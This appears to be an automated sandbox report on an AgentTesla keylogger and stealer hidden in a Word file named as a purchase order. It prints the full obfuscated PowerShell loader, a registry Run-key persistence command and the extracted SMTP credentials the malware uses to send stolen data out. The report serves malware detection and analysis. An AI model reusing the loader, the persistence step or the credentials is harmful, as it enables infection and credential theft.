agenttesla | 564e55246cf97ae3a0a2bc23da960aa8fd8dd6f3a590e4abc8a993254eed7ea9

Analysis

max time kernel
146s
max time network
131s
platform
windows10_x64
resource
win10
submitted
27/08/2020, 05:27

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General

Target
Purchase Order 3423.doc
Size 18KB
Sample200827-nazzgd348n
SHA256 564e55246cf97ae3a0a2bc23da960aa8fd8dd6f3a590e4abc8a993254eed7ea9
MD5 cbca9743449323b35a7554f4d508faca
SHA1 2a459109f76c000a44a2c717d5edf64b9dc4c41d
SHA512 d14853b3e818d71e9ccca6832867ddf98a1a8b25c34b93c5084ab9c869ec49d9caf7e3b53905ad6731776d1dd29dab1e9420361a7d21cf85e498a62bdbdc0501
MD5 SHA1 SHA512

Score

10^/10

agenttesla agilenet keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
smtp.yandex.com
Port
587
Username
[email protected]
Password
kuhedzolbibrtfmf

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3768	3448	powershell.exe	68

AgentTesla Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4068-38-0x000000000045458E-mapping.dmp	family_agenttesla
behavioral2/memory/4068-42-0x0000000000600000-0x000000000065A000-memory.dmp	family_agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	3768	powershell.exe
9	3768	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
804	sef61.exe
3780	sef.exe
4068	AddInProcess32.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/memory/804-22-0x0000000000F20000-0x0000000000F2B000-memory.dmp	agile_net

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\sf.exe = "C:\\Windows\\system32\\pcalua.exe -a C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\sef.exe"	reg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3780 set thread context of 4068	3780	sef.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3100	WINWORD.EXE
3100	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
804	sef61.exe
3780	sef.exe
3780	sef.exe
3780	sef.exe
4068	AddInProcess32.exe
4068	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeDebugPrivilege	804	sef61.exe
Token: SeDebugPrivilege	3780	sef.exe
Token: SeDebugPrivilege	4068	AddInProcess32.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 3968	3768	powershell.exe	73
PID 3768 wrote to memory of 3968	3768	powershell.exe	73
PID 3968 wrote to memory of 3668	3968	csc.exe	74
PID 3968 wrote to memory of 3668	3968	csc.exe	74
PID 3768 wrote to memory of 804	3768	powershell.exe	76
PID 3768 wrote to memory of 804	3768	powershell.exe	76
PID 3768 wrote to memory of 804	3768	powershell.exe	76
PID 804 wrote to memory of 1584	804	sef61.exe	78
PID 804 wrote to memory of 1584	804	sef61.exe	78
PID 804 wrote to memory of 1584	804	sef61.exe	78
PID 1584 wrote to memory of 1804	1584	cmd.exe	80
PID 1584 wrote to memory of 1804	1584	cmd.exe	80
PID 1584 wrote to memory of 1804	1584	cmd.exe	80
PID 804 wrote to memory of 3780	804	sef61.exe	81
PID 804 wrote to memory of 3780	804	sef61.exe	81
PID 804 wrote to memory of 3780	804	sef61.exe	81
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86
PID 3780 wrote to memory of 4068	3780	sef.exe	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Purchase Order 3423.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function l9c44d {param($n7684)$m375b93='bbb29d';$j8449='';for ($i=0; $i -lt $n7684.length;$i+=2){$ef18fa=[convert]::ToByte($n7684.Substring($i,2),16);$j8449+=[char]($ef18fa -bxor $m375b93[($i/2)%$m375b93.length]);}return $j8449;} $v4f9b2e = '17110b5c5e44311b11465c095917115b570342311b414d010f4c304757100b0f071c700a1607105d49370710145b5a0111591741500a0542314b4a10070f4c765005050c0d414d0d011159474a0d0c054261401716070f1c702b5917115b570342311b414d010f4c2c574d5f6f6812475b080b014251550511114254580201535354423f260e0e7b54140d10161a1b0f07100c57555750404e775710101b325d500a165f40755c1032100d517800061007414a464b3f12475b080b0142414d05160b01125c1c1607105c192d0c1632464b4417575553005d4a2b0c466910104208570051564e11464b0d0c0542540d5701574b0962200e0e2b5f490b10164a105201100c075e0a56404e275c4d161b320d5b57105f402e5d58002e0b004058161b404b6f4911000e0b5119171603165b5a44071a16574b0a422b0c46691010420f565a57034a11464b0d0c0542400b53545b5054105f39260e5e7009120d104611460907105c5c085150401e7c0a16101b62560d0c165f106f0d101617535534100d16575a10404b3f424c060e0b01124a1003160b5119011a1607405744000d0d5e190850500157112d0c1632464b441b0350505a48372b0c466910104208055b0757504e47500a164209045a0754555a1e56111642175b571042075453085d01074b0962200e0e2b5f490b10164a107201100c075e0a564c060e5e1b48270c164040340d0b0c46044630160e7f5612072f075f56161b404e615c102e0311467c16100d100f5f050e11071b64171603165b5a44071a16574b0a42140d5b5d44075b54005c065a4a2b5c4d341610425c0e5756000350152d0c1632464b44145007045c56044e0b5c4d440e0600070c4d59121750550d0142114658100b01425b5710421556060153014a4b49700a16321640191304065a0358575f0f06510a054a0e5b510d50064a40020a54045353075b55555252025c5407404b1b020d044a15545d5c53035113042d0c1632464b4a3807105d101f2b0c16624d16420604075d5204065f470c53035b5b1a4e02065a53530a480e5b01060d004a4050010902535357500f05525552010907505256050c02525052050854404b4b0950024a0604075d520406430f700a16321640173e07100d1b42312b0c16624d16421256030d555f4a377b57103216101b0c5f170b0c461903560601515c5952590b541108505001571100045706045f004e1256030d554e521a0609480d1716125e5006010157104d19201b465c3f3f420a065d5100565f49091c51534e024102044e524a00541f592b5c4d34161042565a5c07575f7f5816110a035e17250e0e0d5171230e0d0053554c514b597f5816110a035e17270d121b1a51500657000615544e06010a5c514e514b095c5d54500750014c0c071512700a163216401100045706045f004c360d7b571054564a1b12541a5252035b4d4e06010a5c514e514b0944191f111640500a05421b07010753515f7757120b100d5c54010c164c755c10240d0e565c163203165a11210c140b40560a0f070c4617371207015b5808240d0e565c164c231242550d0103165b560a2603165310444942406e6517070454031b4449420e0b5a5056064a100d07525553530c53404b595c5c13423507507a080b070c46114d4c260d4557080d0306745008074a0e0b5a5056064a100905535453040d56560357570d00560652570c00575552010d07525152060800565153050906525353050c52404b4e4b0c5c0153511b0234100d01574a17311603404d2d0c040d1258015a000705040a071542624b0b010711416a100310167b57020d4a1b07010753514b0969160d0107414a4a311603404d4c03075a505c534b5910574d11100c420202191217005e5007421116534d0d014211464b0d0c05425e00075656061a4a10100b0c551917070751510e4d19111640500a054208570051565f40505b06505b0610021716100b5c5e440f06010158594040595456164a0b0c46190d5f5259125058110707015a534c2e075c5e100a590b1904564b19004b4d0142175705585d5b5f215d57120710161c6d0b201b16571117070751510e4a311700414d160b0c051a5048504b4e030f4d590f06510a05495f4a515105104b4a470c53035b5b6c53015b575669110d4d504b1753015b57561c75010c05165a644d591f10574d11100c425f5d075103594f44'; $v4f9b2e2 = l9c44d($v4f9b2e); Add-Type -TypeDefinition $v4f9b2e2; [fafc11f]::w4487c();
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\igzics2i\igzics2i.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF6A4.tmp" "c:\Users\Admin\AppData\Local\Temp\igzics2i\CSC30C0EA26CF904F0E8B6B2CAC12991C28.TMP"
    3⤵
    PID:3668
- C:\Users\Admin\AppData\Roaming\sef61.exe
  "C:\Users\Admin\AppData\Roaming\sef61.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v sf.exe /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\sef.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1584
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v sf.exe /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\sef.exe"
      4⤵
      Adds Run key to start application
      PID:1804
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\sef.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\sef.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3780
  - - C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
      "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/804-23-0x0000000005910000-0x0000000005911000-memory.dmp

Download

memory/804-24-0x00000000054F0000-0x00000000054F1000-memory.dmp

Download

memory/804-19-0x0000000073A70000-0x000000007415E000-memory.dmp

Download

memory/804-20-0x0000000000410000-0x0000000000411000-memory.dmp

Download

memory/804-22-0x0000000000F20000-0x0000000000F2B000-memory.dmp

Download

memory/3100-0-0x00007FFEFD890000-0x00007FFEFDF56000-memory.dmp

Download

memory/3768-5-0x00007FFEF5620000-0x00007FFEF600C000-memory.dmp

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memory/3768-7-0x00000260DEDE0000-0x00000260DEDE1000-memory.dmp

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memory/3768-15-0x00000260DEDA0000-0x00000260DEDA2000-memory.dmp

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memory/3768-6-0x00000260DEC30000-0x00000260DEC31000-memory.dmp

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memory/3780-30-0x0000000073A70000-0x000000007415E000-memory.dmp

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memory/3780-36-0x0000000004F80000-0x0000000004F83000-memory.dmp

Download

memory/4068-41-0x0000000073A70000-0x000000007415E000-memory.dmp

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memory/4068-42-0x0000000000600000-0x000000000065A000-memory.dmp

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memory/4068-45-0x0000000004C40000-0x0000000004C41000-memory.dmp

Download

memory/4068-46-0x0000000004C20000-0x0000000004C21000-memory.dmp

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memory/4068-47-0x00000000057B0000-0x00000000057B1000-memory.dmp

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